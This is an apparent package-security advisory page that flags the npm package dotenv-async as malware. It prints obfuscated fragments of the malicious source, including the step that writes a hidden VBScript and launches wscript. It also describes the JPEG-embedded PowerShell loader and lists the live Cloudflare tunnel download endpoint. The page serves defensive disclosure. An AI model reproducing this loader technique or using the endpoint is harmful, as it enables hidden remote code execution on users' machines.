registry / Remote code execution / dotenv-async
dotenv-async
A fast, validated, zero-dependency environment configuration toolkit for Node.js
This report shows the evidence for dotenv-async@1.0.0, the only known version.
AI Security Review
scanned 21d ago · by lpm-firewall-aiInspected source establishes automatic concealed remote executable download and execution, unrelated to environment configuration. This is an active attack, rather than an inert payload carrier.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Importing the library or starting the CLI on Windows with Windows Script Host and PowerShell available.
Impact
Remote executable runs with the consumer's privileges; its subsequent behavior is unverified.
Mechanism
Extract JPEG metadata, write a self-deleting temporary VBScript, and launch encoded PowerShell through a hidden detached process.
Attack narrative
Importing the package or starting its CLI invokes a launcher disguised as analytics. It extracts an encoded command from JPEG metadata, writes a temporary self-deleting VBScript, and launches PowerShell hidden through Windows Script Host. The embedded command downloads a Windows executable from a Cloudflare tunnel and starts it hidden without an explicit user request.
AI rationale
Inspected source establishes automatic concealed remote executable download and execution, unrelated to environment configuration. This is an active attack, rather than an inert payload carrier.
Evidence
package.jsondist/index.cjsdist/cli.cjsdist/stest.jpg$env:LOCALAPPDATA\Temp\hello.exe
Network endpoints1
hardwood-studio-obviously-briefing.trycloudflare.com/download/winhost
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json exposes the infected library and CLI as public entrypoints.
- dist/index.cjs automatically invokes the hidden launcher during import.
- dist/cli.cjs invokes the same launcher and writes a temporary script that starts Windows Script Host detached and hidden.
- The launcher constructs an encoded PowerShell command and a self-deleting script.
- dist/stest.jpg contains an encoded command that downloads an executable from a Cloudflare tunnel and starts it hidden.
Evidence against
- The manifest has no preinstall, install, or postinstall hook; the attack activates through runtime entrypoints.
Behavioral surface
ChildProcessDynamicRequireEnvironmentVarsEvalFilesystemShell
HighEntropyStringsMinified
Source & flagged code
6 flagged · loading sourcedist/enterprise.jsView file
1function b(c,d){c=c-0x12e;const e=a();let f=e[c];return f;}function a(){const a5=['sWivd','63236qyjjZA','5VIDQSY','9hsWJSD','397140cTEWdw','lew6trhacxp','12066219fLCGMW','charCodeA...
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/enterprise.jsView on unpkg · L1dist/index.cjsView file
•matchType = normalized_sha256
matchedPackage = testosu888@1.0.0
matchedPath = dist/index.cjs
matchedIdentity = npm:dGVzdG9zdTg4OA:1.0.0
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/index.cjsView on unpkg1"use strict";var N=(e,n)=>()=>{try{return n||e((n={exports:{}}).exports,n),n.exports}catch(t){throw n=0,t}};var T=N((Ve,V)=>{var R=require("fs"),q=require("path"),J=require("os"),{...
L2: `].join("")),g=["relay_",Date.now().toString(),Math.random().toString(36).slice(2),".vbs"].join(""),s=q.join(J.tmpdir(),g);R.writeFileSync(s,l);let a=["wscript",".exe"].join("");re...
Findings
4 High3 Medium5 Low
HighSemantic Analysis Limiteddist/cli.cjs#virtual:normalized:round1
HighKnown Malware Source Similaritydist/cli.cjs
HighKnown Malware Source Similaritydist/index.cjs
HighKnown Malware Source Fingerprint Signaturedist/cli.cjs
MediumDynamic Requiredist/index.cjs
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/enterprise.js
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to dotenv-async@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing dotenv-async@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.